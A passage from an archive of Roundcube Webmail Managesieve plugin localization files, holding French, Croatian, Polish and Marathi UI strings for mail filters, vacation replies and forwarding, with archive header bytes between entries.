$labels['ariasummaryfilterslist'] = 'Liste des filtres';
$labels['ariasummaryfiltersetslist'] = 'Liste des jeux de filtrage';
$labels['filterstitle'] = 'Modifier les filtres de courriels entrants';
$labels['vacationtitle'] = 'Modifier la règle d’absence du bureau';
$labels['forwardtitle'] = 'Modifier la règle de transfert des courriels';
$labels['message'] = 'Message';
$labels['duplicate'] = 'est un doublon';
$labels['notduplicate'] = 'n’est pas un doublon';
$labels['duplicate.handle'] = 'descripteur :';
$labels['duplicate.header'] = 'en-tête :';
$labels['duplicate.uniqueid'] = 'identifiant :';
$labels['duplicate.seconds'] = 'temporisation (secondes) :';
$labels['duplicate.last'] = 'par rapport à la dernière exécution';
$messages['filterunknownerror'] = 'Erreur de serveur inconnue';
$messages['filterconnerror'] = 'La connexion au serveur n’aboutit pas.';
$messages['filterdeleteerror'] = 'Impossible de supprimer le filtre. Une erreur de serveur est survenue.';
$messages['filterdeleted'] = 'Le filtre a été supprimé avec succès.';
$messages['filtersaved'] = 'Le filtre a été enregistré avec succès.';
$messages['filtersaveerror'] = 'Impossible d’enregistrer le filtre. Une erreur de serveur est survenue.';
$messages['filterformerror'] = 'Le formulaire de filtrage contient des erreurs.';
$messages['filterdeleteconfirm'] = 'Voulez-vous vraiment supprimer le filtre sélectionné ?';
$messages['ruledeleteconfirm'] = 'Voulez-vous vraiment supprimer la règle sélectionnée ?';
$messages['actiondeleteconfirm'] = 'Voulez-vous vraiment supprimer l’action sélectionnée ?';
$messages['forbiddenchars'] = 'Caractères interdits dans le champ';
$messages['cannotbeempty'] = 'Le champ ne peut pas être vide';
$messages['ruleexist'] = 'Un filtre existe déjà avec ce nom.';
$messages['setactivateerror'] = 'Impossible d’activer le jeu de filtres sélectionné. Une erreur de serveur est survenue.';
$messages['setdeactivateerror'] = 'Impossible de désactiver le jeu de filtres sélectionné. Une erreur de serveur est survenue.';
$messages['setdeleteerror'] = 'Impossible de supprimer le jeu de filtres sélectionné. Une erreur de serveur est survenue.';
$messages['setactivated'] = 'Le jeu de filtres a été activé avec succès.';
$messages['setdeactivated'] = 'Le jeu de filtres a été désactivé avec succès.';
$messages['setdeleted'] = 'Le jeu de filtres a été supprimé avec succès.';
$messages['setupdated'] = 'Le jeu de filtres a été mis à jour avec succès.';
$messages['setdeleteconfirm'] = 'Voulez vous vraiment supprimer le jeu de filtres sélectionné ?';
$messages['setcreateerror'] = 'Impossible de créer un jeu de filtres. Une erreur de serveur est survenue.';
$messages['setcreated'] = 'Le jeu de filtres a été créé avec succès.';
$messages['activateerror'] = 'Impossible d’activer les filtres sélectionnés. Une erreur de serveur est survenue.';
$messages['deactivateerror'] = 'Impossible de désactiver les filtres sélectionnés. Une erreur de serveur est survenue.';
$messages['deactivated'] = 'Filtres désactivés avec succès.';
$messages['activated'] = 'Filtres activés avec succès.';
$messages['moved'] = 'Filtre déplacé avec succès.';
$messages['moveerror'] = 'Impossible de déplacer le filtre sélectionné. Une erreur de serveur est survenue.';
$messages['nametoolong'] = 'Nom trop long.';
$messages['namereserved'] = 'Nom réservé.';
$messages['setexist'] = 'Le jeu existe déjà.';
$messages['nodata'] = 'Au moins un élément doit être sélectionné.';
$messages['invaliddateformat'] = 'Format de date ou d’une partie de la date invalide';
$messages['saveerror'] = 'Impossible d’enregistrer les données. Une erreur du serveur est survenue.';
$messages['vacationsaved'] = 'Les données d’avis d’absence ont été enregistrées avec succès.';
$messages['forwardsaved'] = 'Les données de transfert ont été enregistrées avec succès.';
$messages['emptyvacationbody'] = 'Le corps du courriel de vacances est requis';
$messages['duplicate.conflict.err'] = 'L’en-tête et l’identifiant unique ne sont pas permis.';
$messages['disabledaction'] = 'L’action n’est pas permise.';
$messages['lastindexempty'] = 'L’index est requis en comptant de la fin';
$messages['noflagset'] = 'Au moins un drapeau doit être sélectionné.';
PKh�\�
a�%�%*plugins/managesieve/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filteri';
$labels['managefilters'] = 'Uredi filtere za pristiglu poštu';
$labels['filtername'] = 'Naziv filtera';
$labels['newfilter'] = 'Novi filter';
$labels['filteradd'] = 'Dodaj filter';
$labels['filterdel'] = 'Obriši filter';
$labels['rules'] = 'Pravila';
$labels['actions'] = 'Radnje';
$labels['scope'] = 'Djelokrug';
$labels['moveup'] = 'Pomakni gore';
$labels['movedown'] = 'Pomakni dolje';
$labels['filterallof'] = 'koje odgovaraju svim sljedećim pravilima';
$labels['filteranyof'] = 'koje odgovaraju bilo kojem od sljedećih pravila';
$labels['filterany'] = 'sve poruke';
$labels['filtercontains'] = 'sadrži';
$labels['filternotcontains'] = 'ne sadrži';
$labels['filteris'] = 'jednako je';
$labels['filterisnot'] = 'nije jednako';
$labels['filterexists'] = 'postoji';
$labels['filternotexists'] = 'ne postoji';
$labels['filtermatches'] = 'odgovara izrazu';
$labels['filternotmatches'] = 'ne odgovara izrazu';
$labels['filterregex'] = 'odgovara regularnom izrazu';
$labels['filternotregex'] = 'ne odgovara regularnom izrazu';
$labels['filterunder'] = 'ispod';
$labels['filterover'] = 'iznad';
$labels['mime-message'] = 'poruka';
$labels['mime-anychild'] = 'bilo koji';
$labels['mime-type'] = 'vrsta';
$labels['mime-subtype'] = 'podvrsta';
$labels['mime-param'] = 'parametar';
$labels['addrule'] = 'Dodaj pravilo';
$labels['delrule'] = 'Obriši pravilo';
$labels['messagemoveto'] = 'Premjesti poruku u';
$labels['messageredirect'] = 'Preusmjeri poruku na';
$labels['messagecopyto'] = 'Kopiraju poruku u';
$labels['messagesendcopy'] = 'Pošalji kopiju poruke na';
$labels['messagereply'] = 'Odgovori sa porukom';
$labels['messagedelete'] = 'Obriši poruku';
$labels['messagediscard'] = 'Otkaži sa porukom';
$labels['messagekeep'] = 'Zadrži poruku u mapi Inbox';
$labels['messagesrules'] = 'Za pristigle poruke:';
$labels['messagesactions'] = '...primijeni sljedeće akcije:';
$labels['add'] = 'Dodaj';
$labels['del'] = 'Obriši';
$labels['sender'] = 'Pošiljatelj';
$labels['recipient'] = 'Primatelj';
$labels['vacationaddr'] = 'Moje email adrese:';
$labels['vacationdays'] = 'Koliko često slati poruku (u danima):';
$labels['vacationinterval'] = 'Koliko često slati poruku:';
$labels['vacationreason'] = 'Tijelo poruke (razlog odmora):';
$labels['vacationsubject'] = 'Naslov poruke:';
$labels['days'] = 'dana';
$labels['seconds'] = 'sekundi';
$labels['rulestop'] = 'Prekini izvođenje filtera';
$labels['enable'] = 'Omogući/Onemogući';
$labels['filtersets'] = 'Filteri';
$labels['filtersetadd'] = 'Dodaj skup filtera';
$labels['filtersetdel'] = 'Obriši skup filtera';
$labels['filterdef'] = 'Definicije filtera';
$labels['active'] = 'aktivan';
$labels['none'] = 'nijedan';
$labels['fromset'] = 'iz grupe';
$labels['fromfile'] = 'iz datoteke';
$labels['filterdisabled'] = 'Deaktiviraj filter';
$labels['countisgreaterthan'] = 'brojač je veći od';
$labels['countisgreaterthanequal'] = 'brojač je veći ili jednak od';
$labels['countislessthan'] = 'brojač je manji od';
$labels['countislessthanequal'] = 'brojač je manji ili jednak od';
$labels['countequals'] = 'brojač je jednak';
$labels['countnotequals'] = 'brojač nije jednak';
$labels['valueisgreaterthan'] = 'vrijednost je veća od';
$labels['valueisgreaterthanequal'] = 'vrijednost je veća ili jednaka od';
$labels['valueislessthan'] = 'vrijednost je manja od';
$labels['valueislessthanequal'] = 'vrijednost je manja ili jednaka od';
$labels['valueequals'] = 'vrijednost je jednaka';
$labels['valuenotequals'] = 'vrijednost nije jednaka';
$labels['setflags'] = 'Postavi oznake na poruku';
$labels['addflags'] = 'Dodaj oznake na poruku';
$labels['removeflags'] = 'Ukloni oznake sa poruke';
$labels['flagread'] = 'Pročitana';
$labels['flagdeleted'] = 'Obrisana';
$labels['flaganswered'] = 'Odgovorena';
$labels['flagflagged'] = 'Označena';
$labels['flagdraft'] = 'Predložak';
$labels['setvariable'] = 'Postavi varijablu';
$labels['setvarname'] = 'Ime varijable:';
$labels['setvarvalue'] = 'Vrijednost varijable:';
$labels['setvarmodifiers'] = 'Modifikatori:';
$labels['varlower'] = 'mala slova';
$labels['varupper'] = 'velika slova';
$labels['varlowerfirst'] = 'prvo slovo malo';
$labels['varupperfirst'] = 'prvo slovo veliko';
$labels['varquotewildcard'] = 'Citiraj specijalne znakove';
$labels['varlength'] = 'duljina';
$labels['notify'] = 'Pošalji obavijest';
$labels['notifyimportance'] = 'Važnost:';
$labels['notifyimportancelow'] = 'niska';
$labels['notifyimportancenormal'] = 'normalna';
$labels['notifyimportancehigh'] = 'visoka';
$labels['notifymethodmailto'] = 'E-mail';
$labels['notifymethodtel'] = 'Telefon';
$labels['filtercreate'] = 'Stvori filter';
$labels['usedata'] = 'Koristi podatke za filter:';
$labels['nextstep'] = 'Idući korak';
$labels['...'] = '…';
$labels['currdate'] = 'Današnji datum';
$labels['datetest'] = 'Datum';
$labels['dateheader'] = 'zaglavlje:';
$labels['year'] = 'godina';
$labels['month'] = 'mjesec';
$labels['day'] = 'dan';
$labels['date'] = 'datum (yyyy-mm-dd)';
$labels['julian'] = 'datum (julijanski)';
$labels['hour'] = 'sat';
$labels['minute'] = 'minute';
$labels['second'] = 'sekunde';
$labels['time'] = 'vrijeme (hh:mm:ss)';
$labels['iso8601'] = 'datum (ISO8601)';
$labels['std11'] = 'datum (RFC2822)';
$labels['zone'] = 'vremenska zona';
$labels['weekday'] = 'dan u tjednu (0-6)';
$labels['advancedopts'] = 'Napredne postavke';
$labels['body'] = 'Tijelo poruke';
$labels['address'] = 'adresa';
$labels['envelope'] = 'omotnica';
$labels['modifier'] = 'modificirao:';
$labels['text'] = 'tekst';
$labels['undecoded'] = 'nedekodirano (raw)';
$labels['contenttype'] = 'tip sadržaja';
$labels['modtype'] = 'tip:';
$labels['allparts'] = 'sve';
$labels['domain'] = 'domena';
$labels['localpart'] = 'lokalni dio';
$labels['user'] = 'korisnik';
$labels['detail'] = 'detalj';
$labels['comparator'] = 'usporedio:';
$labels['default'] = 'preddefinirano';
$labels['octet'] = 'strogo (oktet)';
$labels['asciicasemap'] = 'neosjetljivo na veličinu slova (ascii-casemap)';
$labels['asciinumeric'] = 'numerički (ascii-numeric)';
$labels['index'] = 'indeks:';
$labels['indexlast'] = 'unatrag';
$labels['spamtestequals'] = 'jednako je';
$labels['spamtestnotequals'] = 'nije jednako';
$labels['vacation.reply'] = 'Automatski odgovor';
$labels['vacation.advanced'] = 'Napredne postavke';
$labels['vacation.subject'] = 'Naslov';
$labels['vacation.body'] = 'Tijelo poruke';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'Uključeno';
$labels['vacation.off'] = 'Isključeno';
$labels['vacation.addresses'] = 'Moje email adrese';
$labels['vacation.interval'] = 'Interval za odgovor';
$labels['vacation.after'] = 'Postavi out-off-office pravilo nakon';
$labels['vacation.saving'] = 'Spremanje podataka...';
$labels['vacation.keep'] = 'Zadrži';
$labels['forward.on'] = 'Aktivno';
$labels['forward.off'] = 'Isključeno';
$labels['forward.saving'] = 'Spremanje podataka...';
$labels['duplicate.header'] = 'zaglavlje:';
$messages['filterunknownerror'] = 'Nepoznata greška na poslužitelju';
$messages['filterconnerror'] = 'Nemoguće spajanje na poslužitelj (managesieve)';
$messages['filterdeleteerror'] = 'Nemoguće brisanje filtera. Greška na poslužitelju.';
$messages['filterdeleted'] = 'Filter je uspješno obrisan';
$messages['filtersaved'] = 'Filter je uspješno spremljen';
$messages['filtersaveerror'] = 'Nemoguće spremiti filter. Greška na poslužitelju.';
$messages['filterdeleteconfirm'] = 'Sigurno želite obrisati odabrani filter?';
$messages['ruledeleteconfirm'] = 'Jeste li sigurni da želite obrisati odabrana pravila?';
$messages['actiondeleteconfirm'] = 'Jeste li sigurni da želite obrisati odabrane akcije?';
$messages['forbiddenchars'] = 'Nedozvoljeni znakovi u polju';
$messages['cannotbeempty'] = 'Polje nesmije biti prazno';
$messages['ruleexist'] = 'Filter sa zadanim imenom već postoji.';
$messages['activateerror'] = 'Nije moguće omogućiti odabrani filter(e). Greška poslužitelja.';
$messages['deactivateerror'] = 'Nije moguće onemogućiti odabrane filter(e). Greška poslužitelja.';
$messages['deactivated'] = 'Filter(i) omogućen(i) uspješno.';
$messages['activated'] = 'Filter(i) onemogućen(i) uspješno.';
$messages['moved'] = 'Filter uspješno premješten.';
$messages['moveerror'] = 'Nije moguće premjestiti odabrani filter. Greška poslužitelja.';
$messages['nametoolong'] = 'Nemoguće napraviti grupu filtera. Naziv je predugačak';
$messages['namereserved'] = 'Rezervirano ime.';
$messages['setexist'] = 'Skup već postoji.';
$messages['nodata'] = 'Barem jedan pozicija mora biti odabrana!';
$messages['invaliddateformat'] = 'Neispravan datum ili dio datuma';
$messages['saveerror'] = 'Nemoguće spremiti podatke. Greška na poslužitelju.';
$messages['vacationsaved'] = 'Out-off-office podaci uspješno pohranjeni.';
PKh�\O��I99*plugins/managesieve/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtry';
$labels['managefilters'] = 'Zarządzanie filtrami poczty przychodzącej';
$labels['filtername'] = 'Nazwa filtru';
$labels['newfilter'] = 'Nowy filtr';
$labels['filteradd'] = 'Dodaj filtr';
$labels['filterdel'] = 'Usuń filtr';
$labels['rules'] = 'Reguły';
$labels['actions'] = 'Akcje';
$labels['scope'] = 'Zakres';
$labels['moveup'] = 'W górę';
$labels['movedown'] = 'W dół';
$labels['filterallof'] = 'spełniających wszystkie poniższe kryteria';
$labels['filteranyof'] = 'spełniających dowolne z poniższych kryteriów';
$labels['filterany'] = 'wszystkich';
$labels['filtercontains'] = 'zawiera';
$labels['filternotcontains'] = 'nie zawiera';
$labels['filteris'] = 'jest równe';
$labels['filterisnot'] = 'nie jest równe';
$labels['filterexists'] = 'istnieje';
$labels['filternotexists'] = 'nie istnieje';
$labels['filtermatches'] = 'pasuje do wyrażenia';
$labels['filternotmatches'] = 'nie pasuje do wyrażenia';
$labels['filterregex'] = 'pasuje do wyrażenia regularnego';
$labels['filternotregex'] = 'nie pasuje do wyrażenia regularnego';
$labels['filterunder'] = 'poniżej';
$labels['filterover'] = 'ponad';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'Część MIME:';
$labels['mime-message'] = 'wiadomość';
$labels['mime-anychild'] = 'dowolne';
$labels['mime-type'] = 'typ';
$labels['mime-subtype'] = 'podtyp';
$labels['mime-contenttype'] = 'typ treści';
$labels['mime-param'] = 'parametr';
$labels['addrule'] = 'Dodaj regułę';
$labels['delrule'] = 'Usuń regułę';
$labels['messagemoveto'] = 'Przenieś wiadomość do';
$labels['messageredirect'] = 'Przekaż wiadomość na konto';
$labels['messagecopyto'] = 'Skopiuj wiadomość do';
$labels['messagesendcopy'] = 'Wyślij kopię do';
$labels['messagereply'] = 'Odpowiedz wiadomością o treści';
$labels['messagedelete'] = 'Usuń wiadomość';
$labels['messagediscard'] = 'Odrzuć z komunikatem';
$labels['messagekeep'] = 'Zachowaj wiadomość w Odebranych';
$labels['messagesrules'] = 'W stosunku do przychodzącej poczty:';
$labels['messagesactions'] = '...wykonaj następujące czynności:';
$labels['add'] = 'Dodaj';
$labels['del'] = 'Usuń';
$labels['sender'] = 'Nadawca';
$labels['recipient'] = 'Odbiorca';
$labels['vacationaddr'] = 'Moje adresy e-mail:';
$labels['vacationdays'] = 'Częstotliwość wysyłania wiadomości (w dniach):';
$labels['vacationinterval'] = 'Jak często wysyłać wiadomości:';
$labels['vacationreason'] = 'Treść (przyczyna nieobecności):';
$labels['vacationfrom'] = 'Adres nadawcy odpowiedzi:';
$labels['vacationsubject'] = 'Temat wiadomości:';
$labels['days'] = 'dni';
$labels['seconds'] = 'sekundy';
$labels['rulestop'] = 'Przerwij przetwarzanie reguł';
$labels['enable'] = 'Włącz/Wyłącz';
$labels['filterset'] = 'Zbiory fitrów';
$labels['filtersets'] = 'Zbiory fitrów';
$labels['filtersetadd'] = 'Dodaj zbiór filtrów';
$labels['filtersetdel'] = 'Usuń zbiór filtrów';
$labels['filtersetact'] = 'Aktywuj bieżący zbiór filtrów';
$labels['filtersetdeact'] = 'Deaktywuj bieżący zbiór filtrów';
$labels['filterseteditraw'] = 'Edytuj zbiór filtrów';
$labels['filtersetswitch'] = 'Włącz/Wyłącz zbiór filtrów';
$labels['filterdef'] = 'Definicja filtra';
$labels['filtersetname'] = 'Nazwa zbioru';
$labels['newfilterset'] = 'Nowy zbiór filtrów';
$labels['active'] = 'aktywny';
$labels['none'] = 'brak';
$labels['fromset'] = 'ze zbioru';
$labels['fromfile'] = 'z pliku';
$labels['filterdisabled'] = 'Filtr wyłączony';
$labels['filterenabled'] = 'Filtr włączony';
$labels['countisgreaterthan'] = 'ilość jest większa od';
$labels['countisgreaterthanequal'] = 'ilość jest równa lub większa od';
$labels['countislessthan'] = 'ilość jest mniejsza od';
$labels['countislessthanequal'] = 'ilość jest równa lub mniejsza od';
$labels['countequals'] = 'ilość jest równa';
$labels['countnotequals'] = 'ilość nie jest równa';
$labels['valueisgreaterthan'] = 'wartość jest większa od';
$labels['valueisgreaterthanequal'] = 'wartość jest równa lub większa od';
$labels['valueislessthan'] = 'wartość jest mniejsza od';
$labels['valueislessthanequal'] = 'wartość jest równa lub mniejsza od';
$labels['valueequals'] = 'wartość jest równa';
$labels['valuenotequals'] = 'wartość nie jest równa';
$labels['setflags'] = 'Ustaw flagi wiadomości';
$labels['addflags'] = 'Dodaj flagi do wiadomości';
$labels['removeflags'] = 'Usuń flagi wiadomości';
$labels['flagread'] = 'Przeczytana';
$labels['flagdeleted'] = 'Usunięta';
$labels['flaganswered'] = 'Z odpowiedzią';
$labels['flagflagged'] = 'Oflagowana';
$labels['flagdraft'] = 'Szkic';
$labels['addheader'] = 'Dodaj nagłówek do wiadomości';
$labels['deleteheader'] = 'Usuń nagłówek z wiadomości';
$labels['headername'] = 'Nazwa nagłówka';
$labels['headervalue'] = 'Treść nagłówka';
$labels['headerpos'] = 'Pozycja nagłówka';
$labels['headeratstart'] = 'na początku';
$labels['headeratend'] = 'na końcu';
$labels['headeroccurrence'] = 'Wystąpienie/pozycja nagłówka';
$labels['headerfromstart'] = 'od początku';
$labels['headerfromend'] = 'od końca';
$labels['headerpatterns'] = 'Wzorce treści nagłówka';
$labels['headermatchtype'] = 'typ dopasowania:';
$labels['setvariable'] = 'Ustaw zmienną';
$labels['setvarname'] = 'Nazwa zmiennej:';
$labels['setvarvalue'] = 'Wartość zmiennej:';
$labels['setvarmodifiers'] = 'Modyfikatory:';
$labels['varlower'] = 'małe litery';
$labels['varupper'] = 'wielkie litery';
$labels['varlowerfirst'] = 'pierwsza mała litera';
$labels['varupperfirst'] = 'pierwsza wielka litera';
$labels['varquotewildcard'] = 'zamień znaki specjalne';
$labels['varlength'] = 'długość';
$labels['notify'] = 'Wyślij powiadomienie';
$labels['notifytarget'] = 'Odbiorca powiadomienia:';
$labels['notifymessage'] = 'Wiadomość powiadomienia (opcjonalne):';
$labels['notifyoptions'] = 'Opcje powiadomienia (opcjonalne):';
$labels['notifyfrom'] = 'Nadawca powiadomienia (opcjonalne):';
$labels['notifyimportance'] = 'Priorytet:';
$labels['notifyimportancelow'] = 'niski';
$labels['notifyimportancenormal'] = 'normalny';
$labels['notifyimportancehigh'] = 'wysoki';
$labels['notifymethodmailto'] = 'E-Mail';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Utwórz filtr';
$labels['usedata'] = 'Użyj następujących danych do utworzenia filtra:';
$labels['nextstep'] = 'Następny krok';
$labels['...'] = '...';
$labels['string'] = 'Ciąg znaków';
$labels['currdate'] = 'Bieżąca data';
$labels['datetest'] = 'Data';
$labels['dateheader'] = 'nagłówek:';
$labels['year'] = 'rok';
$labels['month'] = 'miesiąc';
$labels['day'] = 'dzień';
$labels['date'] = 'data (rrrr-mm-dd)';
$labels['julian'] = 'data (kalendarz juliański)';
$labels['hour'] = 'godzina';
$labels['minute'] = 'minuta';
$labels['second'] = 'sekunda';
$labels['time'] = 'czas (gg:mm:ss)';
$labels['iso8601'] = 'data (ISO8601)';
$labels['std11'] = 'data (RFC2822)';
$labels['zone'] = 'Strefa czasowa';
$labels['weekday'] = 'dzień tygodnia (0-6)';
$labels['advancedopts'] = 'Zaawansowane opcje';
$labels['body'] = 'Treść';
$labels['address'] = 'adres';
$labels['envelope'] = 'koperta (envelope)';
$labels['modifier'] = 'modyfikator:';
$labels['text'] = 'tekst';
$labels['undecoded'] = 'nieprzetworzony (raw)';
$labels['contenttype'] = 'typ części (content type)';
$labels['modtype'] = 'typ:';
$labels['allparts'] = 'wszystkie';
$labels['domain'] = 'domena';
$labels['localpart'] = 'część lokalna';
$labels['user'] = 'użytkownik';
$labels['detail'] = 'detal';
$labels['comparator'] = 'komparator:';
$labels['default'] = 'domyślny';
$labels['octet'] = 'dokładny (octet)';
$labels['asciicasemap'] = 'nierozróżniający wielkości liter (ascii-casemap)';
$labels['asciinumeric'] = 'numeryczny (ascii-numeric)';
$labels['index'] = 'indeks:';
$labels['indexlast'] = 'wstecz';
$labels['spamtest'] = 'Poziom spamu';
$labels['spamtestisgreaterthan'] = 'jest większy od';
$labels['spamtestisgreaterthanequal'] = 'jest równy lub większy od';
$labels['spamtestislessthan'] = 'jest mniejszy od';
$labels['spamtestislessthanequal'] = 'jest równy lub mniejszy od';
$labels['spamtestequals'] = 'jest równe';
$labels['spamtestnotequals'] = 'nie jest równe';
$labels['spamtestisunknown'] = 'jest nieokreślony';
$labels['vacation'] = 'Nieobecność';
$labels['vacation.reply'] = 'Odpowiedź';
$labels['vacation.advanced'] = 'Ustawienia zaawansowane';
$labels['vacation.from'] = 'Adres nadawcy odpowiedzi';
$labels['vacation.subject'] = 'Temat';
$labels['vacation.body'] = 'Treść';
$labels['vacation.start'] = 'Początek nieobecności';
$labels['vacation.end'] = 'Koniec nieobecności';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'włączone';
$labels['vacation.off'] = 'wyłączone';
$labels['vacation.addresses'] = 'Moje adresy e-mail';
$labels['vacation.interval'] = 'Częstotliwość odpowiedzi';
$labels['vacation.after'] = 'Umieść regułę odpowiedzi po';
$labels['vacation.saving'] = 'Zapisywanie danych...';
$labels['vacation.action'] = 'Akcje wiadomości przychodzących';
$labels['vacation.keep'] = 'Zachowaj';
$labels['vacation.discard'] = 'Odrzuć';
$labels['vacation.redirect'] = 'Przekaż do';
$labels['vacation.copy'] = 'Wyślij kopię do';
$labels['forward'] = 'Przekierowania';
$labels['forward.redirect'] = 'Przekaż do';
$labels['forward.copy'] = 'Wyślij kopię do';
$labels['forward.on'] = 'włączone';
$labels['forward.off'] = 'wyłączone';
$labels['forward.status'] = 'Status:';
$labels['forward.action'] = 'Dla wiadomości przychodzących wykonaj następującą akcję:';
$labels['forward.saving'] = 'Zapisywanie danych...';
$labels['filladdresses'] = 'Wypełnij wszystkimi moimi adresami';
$labels['arialabelfiltersetactions'] = 'Zbiór filtrów akcji';
$labels['arialabelfilteractions'] = 'Akcje filtrów';
$labels['arialabelfilterform'] = 'Ustawienia filtrów';
$labels['ariasummaryfilterslist'] = 'Spis filtrów';
$labels['ariasummaryfiltersetslist'] = 'Lista zbiorów filtrów';
$labels['filterstitle'] = 'Zarządzaj filtrami wiadomości przychodzących';
$labels['vacationtitle'] = 'Zarządzaj asystentem nieobecności';
$labels['forwardtitle'] = 'Edycja reguł przekierowań poczty';
$labels['message'] = 'Wiadomość';
$labels['duplicate'] = 'jest duplikatem';
$labels['notduplicate'] = 'nie jest duplikatem';
$labels['duplicate.handle'] = 'uchwyt:';
$labels['duplicate.header'] = 'nagłówek:';
$labels['duplicate.uniqueid'] = 'identyfikator:';
$labels['duplicate.seconds'] = 'Limit czasu (sekundy):';
$labels['duplicate.last'] = 'względem ostatniego wykonania';
$messages['filterunknownerror'] = 'Nieznany błąd serwera.';
$messages['filterconnerror'] = 'Nie można nawiązać połączenia z serwerem.';
$messages['filterdeleteerror'] = 'Nie można usunąć filtra. Błąd serwera.';
$messages['filterdeleted'] = 'Filtr został usunięty pomyślnie.';
$messages['filtersaved'] = 'Filtr został zapisany pomyślnie.';
$messages['filtersaveerror'] = 'Nie można zapisać filtra. Wystąpił błąd serwera.';
$messages['filterformerror'] = 'Formularz zawiera błędy.';
$messages['filterdeleteconfirm'] = 'Czy na pewno chcesz usunąć wybrany filtr?';
$messages['ruledeleteconfirm'] = 'Czy na pewno chcesz usunąć wybraną regułę?';
$messages['actiondeleteconfirm'] = 'Czy na pewno usunąć wybraną akcję?';
$messages['forbiddenchars'] = 'Pole zawiera niedozwolone znaki.';
$messages['cannotbeempty'] = 'Pole nie może być puste.';
$messages['ruleexist'] = 'Filtr o podanej nazwie już istnieje.';
$messages['setactivateerror'] = 'Nie można aktywować wybranego zbioru filtrów. Błąd serwera.';
$messages['setdeactivateerror'] = 'Nie można deaktywować wybranego zbioru filtrów. Błąd serwera.';
$messages['setdeleteerror'] = 'Nie można usunąć wybranego zbioru filtrów. Błąd serwera.';
$messages['setactivated'] = 'Zbiór filtrów został aktywowany pomyślnie.';
$messages['setdeactivated'] = 'Zbiór filtrów został deaktywowany pomyślnie.';
$messages['setdeleted'] = 'Zbiór filtrów został usunięty pomyślnie.';
$messages['setupdated'] = 'Zbiór filtrów został zaktualizowany pomyślnie.';
$messages['setdeleteconfirm'] = 'Czy na pewno chcesz usunąć wybrany zbiór filtrów?';
$messages['setcreateerror'] = 'Nie można utworzyć zbioru filtrów. Błąd serwera.';
$messages['setcreated'] = 'Zbiór filtrów został utworzony pomyślnie.';
$messages['activateerror'] = 'Nie można włączyć wybranych filtrów. Błąd serwera.';
$messages['deactivateerror'] = 'Nie można wyłączyć wybranych filtrów. Błąd serwera.';
$messages['deactivated'] = 'Filtr(y) wyłączono pomyślnie.';
$messages['activated'] = 'Filtr(y) włączono pomyślnie.';
$messages['moved'] = 'Filter został przeniesiony pomyślnie.';
$messages['moveerror'] = 'Nie można przenieść wybranego filtra. Błąd serwera.';
$messages['nametoolong'] = 'Zbyt długa nazwa.';
$messages['namereserved'] = 'Nazwa zarezerwowana.';
$messages['setexist'] = 'Zbiór już istnieje.';
$messages['nodata'] = 'Należy wybrać co najmniej jedną pozycję!';
$messages['invaliddateformat'] = 'Nieprawidłowy format daty lub fragmentu daty';
$messages['saveerror'] = 'Nie można zapisać danych. Wystąpił błąd serwera.';
$messages['vacationsaved'] = 'Dane nieobecności zapisano pomyślnie.';
$messages['forwardsaved'] = 'Dane przekierowania zostały zapisane pomyślnie.';
$messages['emptyvacationbody'] = 'Treść wiadomości jest wymagana!';
$messages['duplicate.conflict.err'] = 'Nagłówek i identyfikator nie mogą być używane równocześnie.';
$messages['disabledaction'] = 'Niedozwolona akcja';
$messages['lastindexempty'] = 'Number pozycji jest wymagany przy odliczaniu od końca';
$messages['noflagset'] = 'Przynajmniej jedna flaga musi być zaznaczona.';
PKh�\��6��*plugins/managesieve/localization/mr_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'चाळण्या';
$labels['moveup'] = 'वर हलवा';
$labels['movedown'] = 'खाली हलवा';
$labels['filterallof'] = 'खालील सर्व नियम जुळत आहेत';
$labels['filterany'] = 'सर्व संदेश';
$labels['filteris'] = 'च्या बरोबर आहे';
$labels['filterisnot'] = 'च्या बरोबर नाही';
$labels['filterexists'] = 'अस्तित्वात आहे';
$labels['filternotexists'] = 'अस्तित्वात नाही';
$labels['filterunder'] = 'खाली';
$labels['filterover'] = 'वरती';
$labels['messagedelete'] = 'संदेश काढून टाका';
$labels['messagesactions'] = 'खालील कृती आमलात आणा :';
$labels['add'] = 'समावेश करा';
$labels['del'] = 'नष्ट करा';
$labels['sender'] = 'प्रेषक';
$labels['flagdeleted'] = 'काढून टाकलेला(ले)';
$labels['flagflagged'] = 'खूण लावलेले';
$labels['notifymethodmailto'] = 'इ-मेल्';
$labels['notifymethodtel'] = 'दूरध्वनी';
$labels['datetest'] = 'दिनांक';
$labels['advancedopts'] = 'अधिक पर्याय';
$labels['spamtestequals'] = 'च्या बरोबर आहे';
$labels['spamtestnotequals'] = 'च्या बरोबर नाही';
$labels['vacation.subject'] = 'विषय';
PKh�\w�f!>!>*plugins/managesieve/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
